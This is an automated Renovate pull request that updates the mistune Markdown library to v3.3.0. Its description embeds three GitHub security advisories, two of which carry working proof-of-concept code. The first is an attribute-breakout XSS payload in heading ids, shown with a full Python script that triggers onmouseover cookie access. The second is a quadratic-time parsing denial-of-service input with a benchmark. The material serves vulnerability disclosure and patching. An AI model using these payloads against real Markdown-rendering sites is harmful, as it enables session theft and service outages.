Skip to content

chore(deps): update dependency mistune to v3 [security]#95

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-mistune-vulnerability
Open

chore(deps): update dependency mistune to v3 [security]#95
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-mistune-vulnerability

Conversation

@renovate

@renovate renovate Bot commented May 10, 2026

Copy link
Copy Markdown

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
mistune ==0.8.4==3.3.0 age adoption passing confidence

Mistune has XSS via unescaped figclass/figwidth in Figure directive

CVE-2026-44896 / GHSA-58cw-g322-p94v

More information

Details

In src/mistune/directives/image.py, the render_figure() function concatenates figclass and figwidth options directly into HTML attributes without escaping (lines 152-168).

This allows attribute injection and XSS even when HTMLRenderer(escape=True) is used, because these values bypass the inline renderer.

Other attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Mistune Heading ID Attribute has Injection XSS

CVE-2026-44897 / GHSA-v87v-83h2-53w7

More information

Details

Summary

HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.

The default TOC hook assigns safe auto-incremented IDs (toc_1, toc_2, …) that never contain user text. However, the add_toc_hook() API accepts a caller-supplied heading_id callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.

Details

File: src/mistune/renderers/html.py

def heading(self, text: str, level: int, **attrs: Any) -> str:
    tag = "h" + str(level)
    html = "<" + tag
    _id = attrs.get("id")
    if _id:
        html += ' id="' + _id + '"'    # ← _id is never escaped
    return html + ">" + text + "</" + tag + ">\n"

The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as &quot; etc. But _id arrives as a raw string directly from whatever the heading_id callback returned — no escaping occurs at any point in the pipeline.

PoC

Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default add_toc_hook() (no custom heading_id callback). The default hook generates sequential numeric IDs:

md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, …

bl_src = "## Introduction\n"
bl_out, _ = md_safe.parse(bl_src)

Output — ID is auto-generated, no user text appears in it:

<h2 id="toc_1">Introduction</h2>

Step 2 — Add the realistic trigger: a text-based heading_id callback

Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:

def raw_id(token, index):
    return token.get("text", "")   # returns raw heading text as the ID

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

Step 3 — Craft the exploit payload

Construct a heading whose text contains a double-quote followed by an injected attribute:


##### foo" onmouseover="alert(document.cookie)" x="

When raw_id is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.

Step 4 — Observe attribute breakout in the output

ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n'
ex_out, _ = md_vuln.parse(ex_src)

Actual output:

<h2 id="foo" onmouseover="alert(document.cookie)" x="">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2>

Note: the heading body text is correctly escaped (&quot;), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.

Script

A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.

#!/usr/bin/env python3
"""H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook

def raw_id(token, index):
    return token.get("text", "")

##### --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_file = "baseline_h2.md"
bl_src  = "## Introduction\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
bl_out, _ = md_safe.parse(bl_src)

print(f"[{bl_file}]\n{bl_src}")
print("[output — id=toc_1, no user content, safe]")
print(bl_out)

##### --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

ex_file = "exploit_h2.md"
ex_src  = '## foo" onmouseover="alert(document.cookie)" x="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
ex_out, _ = md_vuln.parse(ex_src)

print(f"[{ex_file}]\n{ex_src}")
print("[output — heading_id returns raw text, id= not escaped]")
print(ex_out)

##### --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#&#8203;111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #&#8203;333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#&#8203;555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#&#8203;065f46}
.exploit  .case-header{background:#fee2e2;color:#&#8203;7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#&#8203;888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""

def case(kind, label, filename, src, out):
    return f"""
<div class="case {kind}">
  <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'}{h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      <h3>Input — {h.escape(filename)}</h3>
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>Output — HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div>
      <div class="rendered">{out}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body>
<h1>H2 — Heading ID XSS (unescaped id= attribute)</h1>
<p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + _id + '"' with no escaping.
Triggered when heading_id callback returns raw heading text — the most common doc-generator pattern.</p>
{case("baseline", "Clean heading → sequential id=toc_1, safe", bl_file, bl_src, bl_out)}
{case("exploit",  "Malicious heading → quotes break out of id=, onmouseover injected", ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h2.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

Example Usage:

python poc.py

Once the script is run, open report_h2.html in the browser and observe the behaviour.

Impact
Dimension Assessment
Confidentiality Session cookie / auth token theft via JavaScript execution triggered on mouse interaction
Integrity DOM manipulation, phishing content injection, forced navigation
Availability Page freeze or crash available to attacker

Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's heading_id callback without independently sanitising the returned value.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Mistune: Potential DoS via quadratic-time parsing in parse_link_text

CVE-2026-49851 / GHSA-qcq2-496w-v96p

More information

Details

Summary

Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.

Affected component

mistune/inline_parser.py → parse_link_text

Description

When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.
An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.

Root cause

The vulnerability stems from a two-loop interaction:

  • The outer loop in InlineParser.parse() (inline_parser.py) advances
    only 1 character at a time when parse_link() returns None
  • Each failed attempt calls parse_link_text() which performs an O(n)
    scan to the end of the string looking for a closing ]
  • With n consecutive [ characters, this results in O(n) × O(n) = O(n²)
    total work
PoC

Run below python script

import mistune
import time

md = mistune.create_markdown()

s = "[" * 6400

t = time.perf_counter()
md(s)
print(time.perf_counter() - t)
image

Benmark poc
Run below code for benchmark

import mistune
import time

md = mistune.create_markdown()

sizes = [100,200,400,800,1600,3200,6400]

for n in sizes:
    s = "[" * n

    t0 = time.perf_counter()
    md(s)
    dt = time.perf_counter() - t0

    print(f"{n:6d} {dt:.6f}")
image
Observed behaviour
python3 benchmark.py 
   100 0.001609
   200 0.003207
   400 0.012906
   800 0.050220
  1600 0.197307
  3200 0.801172
  6400 3.190393

Execution time grows superlinearly, consistent with O(n²) complex

Impact

This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:

  • Web applications (comments, posts, content rendering)
  • API services processing Markdown
  • Documentation rendering systems
  • A small (~6 KB) payload can block CPU for multiple seconds.
Suggested fix

Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time

Security Classification

CWE-400: Uncontrolled Resource Consumption
Denial of Service (CPU exhaustion)

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

lepture/mistune (mistune)

v3.3.0

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v3.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.1.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.3

Compare Source

   🚀 Features
    View changes on GitHub

v3.1.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.0

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.0.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.0.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.0.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
  • Ensure new line at end of the text  -  by @​lepture
  • Do not strip leading unicode spaces like emsp (full-width space)  -  by @​alphatownsman
    View changes on GitHub

v2.1.0

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.0.5: Version 2.0.5

Compare Source

Improve on parsing list. Make it possible to customize list regex. ref #​331

v2.0.4: Version 2.0.4

Compare Source

  • Fix url plugin in <a> tag
  • Fix * formatting

v2.0.3: Version 2.0.3

Compare Source

v2.0.2: Version 2.0.2

Compare Source

Fix escape_url via #​295

v2.0.1: Version 2.0.1

Compare Source

Fix XSS for image link syntax.

v2.0.0: Version 2.0.0

Compare Source

First release of Mistune v2.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/pypi-mistune-vulnerability branch from 6eb08bb to c480775 Compare July 17, 2026 23:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants